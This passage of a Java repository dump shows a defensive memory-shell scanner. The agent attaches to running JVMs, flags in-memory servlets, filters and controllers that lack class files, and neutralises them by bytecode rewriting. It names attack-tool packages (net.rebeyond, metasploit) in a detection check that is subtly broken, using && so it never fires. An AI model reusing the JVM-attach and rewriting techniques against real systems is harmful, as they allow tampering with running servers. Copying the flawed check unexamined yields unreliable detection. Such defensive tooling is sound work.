| import java.util.Map; 9 | 10 | /** 11 | * 创建 VirtualMachine 代理类,加载JVM tools.jar 12 | * 13 | * @author su18 14 | */ 15 | public class VirtualMachineProxy { 16 | 17 | private Class virtualMachineClass; 18 | 19 | public VirtualMachineProxy() { 20 | String virtualMachineName = "com.sun.tools.attach.VirtualMachine"; 21 | 22 | try { 23 | virtualMachineClass = Class.forName(virtualMachineName); 24 | } catch (ClassNotFoundException e) { 25 | File toolsJar = VirtualMachineProxy.getJDKToolsJar(); 26 | 27 | try { 28 | URL[] urls = new URL[]{toolsJar.toURI().toURL()}; 29 | virtualMachineClass = new URLClassLoader(urls).loadClass(virtualMachineName); 30 | } catch (Exception ex) { 31 | System.out.println("Load tools.jar Exception: " + e); 32 | ex.printStackTrace(); 33 | } 34 | } 35 | } 36 | 37 | /** 38 | * 获取JDK安装目录 39 | * 40 | * @return 获取lib/tools.jar文件路径 41 | */ 42 | public static File getJDKToolsJar() { 43 | // 读取环境变量中的JAVA_HOME 44 | String javaHome = System.getenv().get("JAVA_HOME"); 45 | File jarFile = null; 46 | 47 | if (javaHome != null) { 48 | jarFile = new File(javaHome); 49 | } else { 50 | jarFile = new File(System.getProperty("java.home")); 51 | } 52 | 53 | File toolsJar = new File(jarFile + "/lib/", "tools.jar"); 54 | 55 | // 可能获取到的JAVA_HOME是jre,跳转到jre的父级查找是否安装了JDK 56 | if (!toolsJar.exists()) { 57 | toolsJar = new File(toolsJar.getParentFile().getParentFile() + "/lib/", "tools.jar"); 58 | } 59 | 60 | if (!toolsJar.exists()) { 61 | toolsJar = new File(toolsJar.getParentFile().getParentFile().getParentFile() + "/lib/", "tools.jar"); 62 | } 63 | 64 | if (toolsJar.exists()) { 65 | return toolsJar; 66 | } else { 67 | toolsJar = new File(jarFile + "/Classes/", "classes.jar"); 68 | 69 | if (toolsJar.exists()) { 70 | return toolsJar; 71 | } 72 | } 73 | 74 | throw new RuntimeException("Can Not Load JVM tools.jar,Please Confirm Your \"JAVA_HOME\" Config"); 75 | } 76 | 77 | /** 78 | * 获取本机所有的JVM进程ID 79 | * 80 | * @return 进程JVM 进程ID Map 81 | */ 82 | public Map listJvmPid() throws Exception { 83 | Map processMap = new HashMap(); 84 | List list = (List) virtualMachineClass.getDeclaredMethod("list").invoke(null); 85 | 86 | for (Object p : list) { 87 | Class descriptorClass = p.getClass(); 88 | String processId = (String) descriptorClass.getMethod("id").invoke(p); 89 | String displayName = (String) descriptorClass.getMethod("displayName").invoke(p); 90 | 91 | processMap.put(processId, displayName); 92 | } 93 | 94 | return processMap; 95 | } 96 | 97 | /** 98 | * 附加到JVM 进程 99 | * 100 | * @param pid 进程ID 101 | * @return VirtualMachine 102 | * @throws Exception 反射调用异常 103 | */ 104 | public Object attach(String pid) throws Exception { 105 | return virtualMachineClass.getDeclaredMethod("attach", String.class).invoke(null, pid); 106 | } 107 | 108 | public void detach(Object vm) throws Exception { 109 | vm.getClass().getDeclaredMethod("detach").invoke(vm); 110 | } 111 | 112 | /** 113 | * 加载Agent文件到JVM 114 | * 115 | * @param vm VirtualMachine 116 | * @param agentFile Agent jar文件 117 | * @param args Agent参数 118 | * @throws Exception 反射调用异常 119 | */ 120 | public void loadAgent(Object vm, String agentFile, String args) throws Exception { 121 | virtualMachineClass.getDeclaredMethod("loadAgent", String.class, String.class).invoke(vm, agentFile, args); 122 | } 123 | 124 | } 125 | -------------------------------------------------------------------------------- /memshell-loader/src/main/java/org/su18/memshell/loader/commons/AgentCache.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.loader.commons; 2 | 3 | import java.lang.instrument.ClassFileTransformer; 4 | import java.lang.instrument.Instrumentation; 5 | import java.util.Collections; 6 | import java.util.HashSet; 7 | import java.util.Set; 8 | 9 | /** 10 | * Agent 缓存类 11 | * 12 | * @author su18 13 | */ 14 | public class AgentCache { 15 | 16 | private Instrumentation instrumentation; 17 | 18 | private final Set modifiedClass = Collections.synchronizedSet(new HashSet()); 19 | 20 | private final Set reTransformClass = Collections.synchronizedSet(new HashSet()); 21 | 22 | private final Set transformers = Collections.synchronizedSet(new HashSet()); 23 | 24 | public Instrumentation getInstrumentation() { 25 | return instrumentation; 26 | } 27 | 28 | public void setInstrumentation(Instrumentation instrumentation) { 29 | this.instrumentation = instrumentation; 30 | } 31 | 32 | public Set getModifiedClass() { 33 | return modifiedClass; 34 | } 35 | 36 | public Set getTransformers() { 37 | return transformers; 38 | } 39 | 40 | public Set getReTransformClass() { 41 | return reTransformClass; 42 | } 43 | 44 | public void clear() { 45 | instrumentation = null; 46 | modifiedClass.clear(); 47 | reTransformClass.clear(); 48 | transformers.clear(); 49 | } 50 | 51 | } -------------------------------------------------------------------------------- /memshell-loader/src/main/java/org/su18/memshell/loader/commons/Constants.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.loader.commons; 2 | 3 | /** 4 | * 常量配置类 5 | * 6 | * @author su18 7 | */ 8 | public class Constants { 9 | 10 | /** 11 | * Java内部包名过滤正则 12 | */ 13 | public static final String JAVA_INTERNAL_PACKAGES = "^(java|javax|jakarta|(com\\.)?sun)\\..*"; 14 | 15 | public static final String AGENT_NAME = "suagent"; 16 | 17 | public static final String ENCODING = "UTF-8"; 18 | 19 | public static final String AGENT_FILE_NAME = AGENT_NAME + "-scanner.jar"; 20 | 21 | /** 22 | * 定义Agent loader文件名称 23 | */ 24 | public static final String AGENT_LOADER_FILE_NAME = AGENT_NAME + "-loader.jar"; 25 | 26 | 27 | public static final String BANNER_FILE_NAME = "banner.txt"; 28 | 29 | 30 | } 31 | -------------------------------------------------------------------------------- /memshell-loader/src/main/java/org/su18/memshell/loader/utils/StringUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.loader.utils; 2 | 3 | import java.io.UnsupportedEncodingException; 4 | 5 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME; 6 | import static org.su18.memshell.loader.commons.Constants.ENCODING; 7 | 8 | /** 9 | * 字符串编码处理工具类 10 | * 11 | * @author su18 12 | */ 13 | public class StringUtils { 14 | 15 | 16 | private static final String DEFAULT_ENCODING = System.getProperty("file.encoding"); 17 | 18 | public static String charset(String str) { 19 | try { 20 | if (!ENCODING.equals(DEFAULT_ENCODING)) { 21 | return new String(str.getBytes(), DEFAULT_ENCODING); 22 | } 23 | 24 | return str; 25 | } catch (UnsupportedEncodingException e) { 26 | // ignore 27 | } 28 | 29 | return str; 30 | } 31 | 32 | public static void println(String str) { 33 | System.out.println("[ " + AGENT_NAME + " ] " + charset(str)); 34 | } 35 | 36 | public static void print(String str) { 37 | System.out.println(charset(str)); 38 | } 39 | 40 | } -------------------------------------------------------------------------------- /memshell-loader/src/main/resources/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Agent-Class: org.su18.memshell.loader.Agent 3 | Premain-Class: org.su18.memshell.loader.Agent 4 | Main-Class: org.su18.memshell.loader.Agent 5 | Can-Retransform-Classes: true 6 | Can-Redefine-Classes: true 7 | -------------------------------------------------------------------------------- /memshell-scanner/dependency-reduced-pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | MemoryShell 5 | org.su18 6 | 1.0.0 7 | 8 | 4.0.0 9 | memshell-scanner 10 | 11 | suagent-scanner 12 | 13 | 14 | maven-compiler-plugin 15 | 3.8.1 16 | 17 | 1.6 18 | 1.6 19 | 20 | 21 | 22 | maven-shade-plugin 23 | 3.2.2 24 | 25 | 26 | package 27 | 28 | shade 29 | 30 | 31 | 32 | 33 | *:* 34 | 35 | META-INF/ 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | maven-surefire-plugin 45 | 2.21.0 46 | 47 | true 48 | 49 | 50 | 51 | maven-antrun-plugin 52 | 53 | 54 | package 55 | 56 | run 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | org.su18 71 | memshell-loader 72 | 1.0.0 73 | provided 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /memshell-scanner/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | MemoryShell 7 | org.su18 8 | 1.0.0 9 | 10 | 4.0.0 11 | 12 | memshell-scanner 13 | 14 | 15 | 16 | org.su18 17 | memshell-loader 18 | ${project.parent.version} 19 | provided 20 | 21 | 22 | 23 | org.ow2.asm 24 | asm-commons 25 | 9.1 26 | 27 | 28 | 29 | org.javassist 30 | javassist 31 | 3.20.0-GA 32 | 33 | 34 | 35 | commons-io 36 | commons-io 37 | 2.3 38 | 39 | 40 | 41 | 42 | 43 | suagent-scanner 44 | 45 | 46 | org.apache.maven.plugins 47 | maven-compiler-plugin 48 | 3.8.1 49 | 50 | 1.6 51 | 1.6 52 | 53 | 54 | 55 | 56 | org.apache.maven.plugins 57 | maven-shade-plugin 58 | 3.2.2 59 | 60 | 61 | package 62 | 63 | shade 64 | 65 | 66 | 67 | 68 | *:* 69 | 70 | META-INF/ 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | org.apache.maven.plugins 81 | maven-surefire-plugin 82 | 2.21.0 83 | 84 | true 85 | 86 | 87 | 88 | org.apache.maven.plugins 89 | maven-antrun-plugin 90 | 91 | 92 | package 93 | 94 | 95 | 98 | 99 | 100 | 101 | run 102 | 103 | 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/BootStrap.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner; 2 | 3 | import org.apache.commons.io.FileUtils; 4 | import org.su18.memshell.loader.SuClassLoader; 5 | import org.su18.memshell.loader.commons.AgentCache; 6 | import org.su18.memshell.loader.utils.StringUtils; 7 | import org.su18.memshell.scanner.common.MemoryShellType; 8 | import org.su18.memshell.scanner.utils.ClassUtils; 9 | 10 | import java.io.File; 11 | import java.io.IOException; 12 | import java.lang.instrument.ClassFileTransformer; 13 | import java.lang.instrument.Instrumentation; 14 | import java.lang.reflect.Modifier; 15 | import java.util.ArrayList; 16 | import java.util.List; 17 | import java.util.Map; 18 | import java.util.Set; 19 | import java.util.concurrent.ConcurrentHashMap; 20 | 21 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME; 22 | import static org.su18.memshell.loader.commons.Constants.BANNER_FILE_NAME; 23 | import static org.su18.memshell.scanner.common.MemoryShellType.CONTROLLER; 24 | import static org.su18.memshell.scanner.common.MemoryShellType.values; 25 | 26 | /** 27 | * 通过反射调用的 BootStrap 入口类 28 | * 29 | * @author su18 30 | */ 31 | public class BootStrap { 32 | 33 | public static ClassLoader classLoader; 34 | 35 | public static Map, String> keyClassMap = new ConcurrentHashMap, String>(); 36 | 37 | public static List riskAnnotations = new ArrayList(); 38 | 39 | public static Map, String> shellClassMap = new ConcurrentHashMap, String>(); 40 | 41 | 42 | static { 43 | riskAnnotations.add("org.springframework.stereotype.Controller"); 44 | riskAnnotations.add("org.springframework.web.bind.annotation.RestController"); 45 | riskAnnotations.add("org.springframework.web.bind.annotation.RequestMapping"); 46 | riskAnnotations.add("org.springframework.web.bind.annotation.GetMapping"); 47 | riskAnnotations.add("org.springframework.web.bind.annotation.PostMapping"); 48 | riskAnnotations.add("org.springframework.web.bind.annotation.PatchMapping"); 49 | riskAnnotations.add("org.springframework.web.bind.annotation.PutMapping"); 50 | riskAnnotations.add("org.springframework.web.bind.annotation.Mapping"); 51 | } 52 | 53 | 54 | /** 55 | * 启动RASP Agent 56 | * 57 | * @param inst Agent inst 58 | * @param loader RASP 类加载器 59 | * @param cache RASP Agent缓存对象 60 | */ 61 | public static void bootStrap(Instrumentation inst, SuClassLoader loader, AgentCache cache) { 62 | 63 | // 打印 logo 64 | printLogo(); 65 | 66 | // 储存 classloader 67 | classLoader = loader; 68 | 69 | // 创建自定义 ClassFileTransformer 并缓存 70 | ClassFileTransformer raspTransformer = new SuTransformer(cache); 71 | cache.getTransformers().add(raspTransformer); 72 | 73 | // 添加 transformer 到 JVM 74 | inst.addTransformer(raspTransformer, true); 75 | 76 | // 获取所有已加载的类 77 | Class[] allLoadedClasses = inst.getAllLoadedClasses(); 78 | 79 | StringUtils.println("Investigating All Loaded Classed,total amount: " + allLoadedClasses.length); 80 | 81 | for (Class clazz : allLoadedClasses) { 82 | 83 | // 不处理抽象类和接口 84 | if (!clazz.isInterface() && !Modifier.isAbstract(clazz.getModifiers())) { 85 | 86 | // 获取包名是黑名单的类(并不是一个体面的方式,但是挺暴力的) 87 | if (clazz.getName().startsWith("net.rebeyond.") && clazz.getName().startsWith("com.metasploit.")) { 88 | StringUtils.println("High-Risk Package Name In System:" + clazz.getName()); 89 | StringUtils.print(ClassUtils.getClassInfo(clazz)); 90 | continue; 91 | } 92 | 93 | // 提取关键类 94 | extractKeyClass(clazz); 95 | } 96 | } 97 | 98 | StringUtils.println("Extract Key Class Finished,Checking Memory Shell..."); 99 | 100 | for (Map.Entry, String> entry : keyClassMap.entrySet()) { 101 | 102 | // 根据该 class 在其 ClassLoader 中是否存有 Resource 判断是否在磁盘上存在其文件 103 | // 若没有,则可能为内存马 104 | if (ClassUtils.checkClassIsNotExists(entry.getKey())) { 105 | StringUtils.println("Find " + entry.getValue() + "-TYPED Memory Shell [ Resource Missing ]"); 106 | StringUtils.print(ClassUtils.getClassInfo(entry.getKey())); 107 | shellClassMap.put(entry.getKey(), entry.getValue()); 108 | } 109 | } 110 | 111 | 112 | StringUtils.println("Checking Memory Shell Finished,Trying To Hook Shell Class.."); 113 | 114 | // 将 shell class 加入 HOOK 进行处理 115 | for (Map.Entry, String> shellEntry : shellClassMap.entrySet()) { 116 | try { 117 | if (inst.isModifiableClass(shellEntry.getKey())) { 118 | inst.retransformClasses(shellEntry.getKey()); 119 | cache.getReTransformClass().add(shellEntry.getKey().getName()); 120 | } 121 | } catch (Exception e) { 122 | e.printStackTrace(); 123 | } 124 | } 125 | } 126 | 127 | 128 | /** 129 | * 提取关键类放在 keyClassMap 中 130 | * 131 | * @param clazz Class 132 | */ 133 | private static void extractKeyClass(Class clazz) { 134 | 135 | // 忽略动态代理类 136 | if (clazz.getName().startsWith("com.sun.proxy")) { 137 | return; 138 | } 139 | 140 | // 获取 clazz 的全部父类和接口 141 | Set set = ClassUtils.getSuperClassListByAsm(clazz, clazz.getClassLoader()); 142 | 143 | // 获取带有 controller 和 mapping 注解的类(Spring Controller,确实没有太好的办法)(适配框架) 144 | if (ClassUtils.isUseAnnotations(clazz, riskAnnotations)) { 145 | keyClassMap.put(clazz, CONTROLLER.name()); 146 | return; 147 | } 148 | 149 | for (MemoryShellType value : values()) { 150 | if (set.contains(value.getHook())) { 151 | keyClassMap.put(clazz, value.name()); 152 | return; 153 | } 154 | } 155 | } 156 | 157 | /** 158 | * 打印 suagent logo 159 | */ 160 | private static void printLogo() { 161 | String banner = getBanner(); 162 | StringUtils.print("\n" + banner + "[ " + AGENT_NAME + " v1.0.0 ] by su18\n"); 163 | } 164 | 165 | /** 166 | * 获取Agent Banner信息 167 | * 168 | * @return 获取Banner 169 | */ 170 | public static String getBanner() { 171 | try { 172 | return FileUtils.readFileToString( 173 | new File( 174 | new File( 175 | BootStrap.class.getProtectionDomain().getCodeSource().getLocation().getFile()).getParentFile(), 176 | BANNER_FILE_NAME)); 177 | } catch (IOException e) { 178 | return "[ This is Banner ]"; 179 | } 180 | 181 | 182 | } 183 | 184 | } 185 | -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/SuTransformer.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner; 2 | 3 | import org.objectweb.asm.ClassReader; 4 | import org.objectweb.asm.ClassWriter; 5 | import org.su18.memshell.loader.commons.AgentCache; 6 | import org.su18.memshell.scanner.asm.SuClassVisitor; 7 | import org.su18.memshell.scanner.asm.SuClassWriter; 8 | 9 | import java.io.FileOutputStream; 10 | import java.io.IOException; 11 | import java.lang.instrument.ClassFileTransformer; 12 | import java.lang.instrument.IllegalClassFormatException; 13 | import java.security.ProtectionDomain; 14 | import java.util.regex.Pattern; 15 | 16 | import static org.objectweb.asm.ClassReader.EXPAND_FRAMES; 17 | import static org.objectweb.asm.ClassWriter.COMPUTE_FRAMES; 18 | import static org.objectweb.asm.Opcodes.ASM9; 19 | 20 | /** 21 | * 自定义 ClassFileTransformer ,处理指定的 class 22 | * 23 | * @author su18 24 | */ 25 | public class SuTransformer implements ClassFileTransformer { 26 | 27 | private final AgentCache agentCache; 28 | 29 | SuTransformer(AgentCache agentCache) { 30 | this.agentCache = agentCache; 31 | } 32 | 33 | @Override 34 | public byte[] transform(ClassLoader loader, String className, Class clazz, 35 | ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 36 | 37 | className = className.replace("/", "."); 38 | 39 | // 创建ClassReader对象,读取字节码 40 | ClassReader classReader = new ClassReader(classfileBuffer); 41 | 42 | ClassWriter cw = new SuClassWriter(classReader, COMPUTE_FRAMES, loader); 43 | 44 | try { 45 | SuClassVisitor classVisitor = new SuClassVisitor( 46 | ASM9, cw, className, loader, classfileBuffer, agentCache 47 | ); 48 | 49 | classReader.accept(classVisitor, EXPAND_FRAMES); 50 | 51 | classfileBuffer = cw.toByteArray(); 52 | // 查看被改的类 53 | dumpClass(className, classfileBuffer); 54 | } catch (Throwable t) { 55 | t.printStackTrace(); 56 | } 57 | 58 | 59 | return classfileBuffer; 60 | } 61 | 62 | /** 63 | * dump 出类字节码进行查看 64 | * 65 | * @param className 类名 66 | * @param classfileBuffer 类字节码 67 | * @throws IOException 抛出异常 68 | */ 69 | private static void dumpClass(String className, byte[] classfileBuffer) throws IOException { 70 | String regexp = "\\b(TestFilter|TestServlet|TestValve|TestListener)$"; 71 | 72 | if (Pattern.compile(regexp).matcher(className).find()) { 73 | className = className.substring(className.lastIndexOf(".") + 1); 74 | FileOutputStream fos = new FileOutputStream("/Users/phoebe/IdeaProjects/MemoryShell/dump/" + className + ".class"); 75 | fos.write(classfileBuffer); 76 | fos.close(); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassDesc.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.asm; 2 | 3 | import org.objectweb.asm.ClassWriter; 4 | 5 | /** 6 | * Class 信息描述类 7 | * 8 | * @author su18 9 | */ 10 | public class SuClassDesc { 11 | 12 | /** 13 | * ASM版本 14 | */ 15 | private final int api; 16 | 17 | /** 18 | * JDK版本 19 | */ 20 | private final int version; 21 | 22 | /** 23 | * 类访问级别 24 | */ 25 | private final int access; 26 | 27 | /** 28 | * 类名 29 | */ 30 | private final String className; 31 | 32 | /** 33 | * 签名 34 | */ 35 | private final String signature; 36 | 37 | /** 38 | * 父类名 39 | */ 40 | private final String superClassName; 41 | 42 | /** 43 | * 实现的所有的接口名 44 | */ 45 | private final String[] interfacesClass; 46 | 47 | /** 48 | * 类加载器 49 | */ 50 | private final ClassLoader classLoader; 51 | 52 | /** 53 | * 类字节码 54 | */ 55 | private final byte[] classfileBuffer; 56 | 57 | private final ClassWriter classVisitor; 58 | 59 | public SuClassDesc(final int api, final int version, final int access, 60 | final String className, final String signature, 61 | final String superClassName, final String[] interfacesClass, 62 | final ClassLoader classLoader, final byte[] classfileBuffer, 63 | final ClassWriter classVisitor) { 64 | 65 | this.api = api; 66 | this.version = version; 67 | this.access = access; 68 | this.className = className; 69 | this.signature = signature; 70 | this.superClassName = superClassName; 71 | this.interfacesClass = interfacesClass; 72 | this.classLoader = classLoader; 73 | this.classfileBuffer = classfileBuffer; 74 | this.classVisitor = classVisitor; 75 | } 76 | 77 | public int getApi() { 78 | return api; 79 | } 80 | 81 | public int getVersion() { 82 | return version; 83 | } 84 | 85 | public int getAccess() { 86 | return access; 87 | } 88 | 89 | public String getClassName() { 90 | return className; 91 | } 92 | 93 | public String getSignature() { 94 | return signature; 95 | } 96 | 97 | public String getSuperClassName() { 98 | return superClassName; 99 | } 100 | 101 | public String[] getInterfacesClass() { 102 | return interfacesClass; 103 | } 104 | 105 | public ClassLoader getClassLoader() { 106 | return classLoader; 107 | } 108 | 109 | public byte[] getClassfileBuffer() { 110 | return classfileBuffer; 111 | } 112 | 113 | } -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassVisitor.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.asm; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.ClassWriter; 5 | import org.objectweb.asm.MethodVisitor; 6 | import org.objectweb.asm.Opcodes; 7 | import org.su18.memshell.loader.commons.AgentCache; 8 | import org.su18.memshell.scanner.BootStrap; 9 | import org.su18.memshell.scanner.common.MemoryShellType; 10 | 11 | import java.util.Map; 12 | 13 | /** 14 | * 自定义 ClassVisitor 15 | * 16 | * @author su18 17 | */ 18 | public class SuClassVisitor extends ClassVisitor implements Opcodes { 19 | 20 | private final int api; 21 | 22 | private final ClassWriter classVisitor; 23 | 24 | private final String className; 25 | 26 | private final ClassLoader loader; 27 | 28 | private final byte[] classfileBuffer; 29 | 30 | private final AgentCache agentCache; 31 | 32 | private SuClassDesc raspClassDesc; 33 | 34 | 35 | public SuClassVisitor(final int api, final ClassWriter cw, final String className, 36 | final ClassLoader loader, final byte[] classfileBuffer, 37 | final AgentCache agentCache) { 38 | 39 | super(api, cw); 40 | 41 | this.api = api; 42 | this.classVisitor = cw; 43 | this.className = className; 44 | this.loader = loader; 45 | this.classfileBuffer = classfileBuffer; 46 | this.agentCache = agentCache; 47 | } 48 | 49 | @Override 50 | public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { 51 | raspClassDesc = new SuClassDesc( 52 | api, version, access, className.replace("/", "."), signature, superName.replace("/", "."), 53 | interfaces, loader, classfileBuffer, classVisitor 54 | ); 55 | 56 | super.visit(version, access, name, signature, superName, interfaces); 57 | } 58 | 59 | @Override 60 | public MethodVisitor visitMethod(final int access, String methodName, final String methodDesc, 61 | String signature, String[] exceptions) { 62 | 63 | MethodVisitor mv = super.visitMethod(access, methodName, methodDesc, signature, exceptions); 64 | 65 | // 判断类名是否匹配 66 | for (Map.Entry, String> entry : BootStrap.shellClassMap.entrySet()) { 67 | if (entry.getKey().getName().equals(raspClassDesc.getClassName())) { 68 | String type = entry.getValue(); 69 | 70 | // 从 MemoryShellType 中寻找对应的 71 | if (type != null && methodName.startsWith(MemoryShellType.valueOf(type).getMethod())) { 72 | final SuMethodDesc raspMethodDesc = new SuMethodDesc( 73 | raspClassDesc, access, signature, exceptions, methodName, methodDesc 74 | ); 75 | 76 | agentCache.getModifiedClass().add(className); 77 | return new SuMethodVisitor(raspMethodDesc, mv); 78 | } 79 | } 80 | } 81 | 82 | return mv; 83 | } 84 | } -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuClassWriter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.asm; 2 | 3 | import org.objectweb.asm.ClassReader; 4 | import org.objectweb.asm.ClassWriter; 5 | import org.su18.memshell.scanner.utils.ClassUtils; 6 | 7 | import java.util.Set; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class SuClassWriter extends ClassWriter { 13 | 14 | private static final String OBJECT_CLASS = Object.class.getName().replace(".", "/"); 15 | 16 | private final ClassLoader classLoader; 17 | 18 | public SuClassWriter(ClassReader classReader, int flags, ClassLoader classLoader) { 19 | super(classReader, flags); 20 | this.classLoader = classLoader; 21 | } 22 | 23 | /** 24 | * 重写计算两个类的父类逻辑 25 | * 26 | * @param type1 类1 27 | * @param type2 类2 28 | * @return 父类名 29 | */ 30 | @Override 31 | protected String getCommonSuperClass(final String type1, final String type2) { 32 | String className1 = ClassUtils.toJavaName(type1); 33 | String className2 = ClassUtils.toJavaName(type2); 34 | ClassLoader loader = classLoader; 35 | 36 | // 如果类加载器为空,可能是AppClassLoader类加载器加载的 37 | if (classLoader == null) { 38 | loader = ClassLoader.getSystemClassLoader(); 39 | } 40 | 41 | // 获取当前类的所有父类类名或知实现了的所有接口类类名 42 | Set superClassList1 = ClassUtils.getSuperClassListByAsm(className1, loader); 43 | 44 | // 求A∩B,如果A∩B不为空,说明A是B的父类 45 | if (superClassList1.contains(className2)) { 46 | return type2; 47 | } 48 | 49 | Set superClassList2 = ClassUtils.getSuperClassListByAsm(className2, loader); 50 | 51 | // 求B∩A,如果B∩A不为空,说明B是A的父类 52 | if (superClassList2.contains(className1)) { 53 | return type1; 54 | } 55 | 56 | // 取出A类的所有父类和B类的所有父类的交集类名称(排除Object类) 57 | for (String claName : superClassList1) { 58 | if (superClassList2.contains(claName)) { 59 | return ClassUtils.toAsmClassName(claName); 60 | } 61 | } 62 | 63 | return OBJECT_CLASS; 64 | } 65 | 66 | } -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuMethodDesc.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.asm; 2 | 3 | /** 4 | * 自定义方法描述类 5 | * 6 | * @author su18 7 | */ 8 | public class SuMethodDesc { 9 | 10 | private final SuClassDesc suClassDesc; 11 | 12 | private final int methodAccess; 13 | 14 | private final String methodSignature; 15 | 16 | private final String[] exceptions; 17 | 18 | private final String methodName; 19 | 20 | private final String methodArgsDesc; 21 | 22 | public SuMethodDesc(SuClassDesc suClassDesc, int methodAccess, String methodSignature, 23 | String[] exceptions, String methodName, String methodArgsDesc) { 24 | 25 | this.suClassDesc = suClassDesc; 26 | this.methodAccess = methodAccess; 27 | this.methodSignature = methodSignature; 28 | this.exceptions = exceptions; 29 | this.methodName = methodName; 30 | this.methodArgsDesc = methodArgsDesc; 31 | } 32 | 33 | public SuClassDesc getSuClassDesc() { 34 | return suClassDesc; 35 | } 36 | 37 | public int getMethodAccess() { 38 | return methodAccess; 39 | } 40 | 41 | public String getMethodSignature() { 42 | return methodSignature; 43 | } 44 | 45 | public String[] getExceptions() { 46 | return exceptions; 47 | } 48 | 49 | public String getMethodName() { 50 | return methodName; 51 | } 52 | 53 | public String getMethodArgsDesc() { 54 | return methodArgsDesc; 55 | } 56 | 57 | } -------------------------------------------------------------------------------- /memshell-scanner/src/main/java/org/su18/memshell/scanner/asm/SuMethodVisitor.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.scanner.asm; 2 | 3 | import org.objectweb.asm.Label; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Type; 6 | import org.objectweb.asm.commons.AdviceAdapter; 7 | import org.su18.memshell.loader.utils.StringUtils; 8 | 9 | import static org.su18.memshell.scanner.common.MemoryShellType.*; 10 | 11 | /** 12 | * 自定义 MethodVisitor 13 | * 14 | * @author su18 15 | */ 16 | public class SuMethodVisitor extends AdviceAdapter { 17 | 18 | /** 19 | * 是否为静态方法 20 | */ 21 | 22 | private final SuMethodDesc suMethodDesc; 23 | 24 | 25 | protected SuMethodVisitor(SuMethodDesc suMethodDesc, MethodVisitor mv) { 26 | // 执行 super 方法 27 | super( 28 | suMethodDesc.getSuClassDesc().getApi(), mv, suMethodDesc.getMethodAccess(), 29 | suMethodDesc.getMethodName(), suMethodDesc.getMethodArgsDesc() 30 | ); 31 | 32 | this.suMethodDesc = suMethodDesc; 33 | } 34 | 35 | /** 36 | * 37 | */ 38 | @Override 39 | public void onMethodEnter() { 40 | 41 | Label label0 = new Label(); 42 | Label label1 = new Label(); 43 | Label label2 = new Label(); 44 | Label label3 = new Label(); 45 | visitTryCatchBlock(label0, label1, label2, Throwable.class.getName().replace(".", "/")); 46 | mark(label0); 47 | 48 | // 插入 hook 逻辑 49 | insertHook(); 50 | 51 | mark(label1); 52 | goTo(label3); 53 | mark(label2); 54 | int throwableIndex = newLocal(Type.getType(Throwable.class)); 55 | storeLocal(throwableIndex); 56 | mark(label3); 57 | } 58 | 59 | public void insertHook() { 60 | String methodName = suMethodDesc.getMethodName(); 61 | String message = "Overwriting Byte Code To Class: [" + suMethodDesc.getSuClassDesc().getClassName() + 62 | "] Method [" + suMethodDesc.getMethodName() + "]"; 63 | 64 | if (methodName.equals(SERVLET.getMethod()) || methodName.startsWith(LISTENER.getMethod()) || 65 | (methodName.startsWith("do") && !"doFilter".equals(methodName))) { 66 | StringUtils.println(message); 67 | hookReturn(); 68 | } else if (methodName.equals(FILTER.getMethod())) { 69 | StringUtils.println(message); 70 | hookFilter(); 71 | } else if (methodName.equals(INTERCEPTOR.getMethod())) { 72 | StringUtils.println(message); 73 | hookReturnTrue(); 74 | } else if (methodName.equals(VALVE.getMethod())) { 75 | StringUtils.println(message); 76 | // 暂时有问题 77 | // hookValve(); 78 | } else if (methodName.startsWith(GRIZZLY.getMethod())) { 79 | StringUtils.println(message); 80 | hookGrizzly(); 81 | } 82 | } 83 | 84 | /** 85 | * 什么也不做直接 return 86 | * servlet 和 listener 的内存马可以这么做 87 | * return; 88 | */ 89 | public void hookReturn() { 90 | mv.visitInsn(RETURN); 91 | } 92 | 93 | 94 | /** 95 | * 直接按照 Filter 的调用传入下一条 FilterChain 然后 return 96 | * Filter 内存马可以这么做 97 | * $3.doFilter($1, $2);return; 98 | */ 99 | public void hookFilter() { 100 | mv.visitVarInsn(ALOAD, 3); 101 | mv.visitVarInsn(ALOAD, 1); 102 | mv.visitVarInsn(ALOAD, 2); 103 | mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", "doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true); 104 | mv.visitInsn(RETURN); 105 | } 106 | 107 | 108 | /** 109 | * 插入字节码 return true 110 | * spring HandlerInterceptor preHandle 可以这么做 111 | * return true; 112 | */ 113 | public void hookReturnTrue() { 114 | 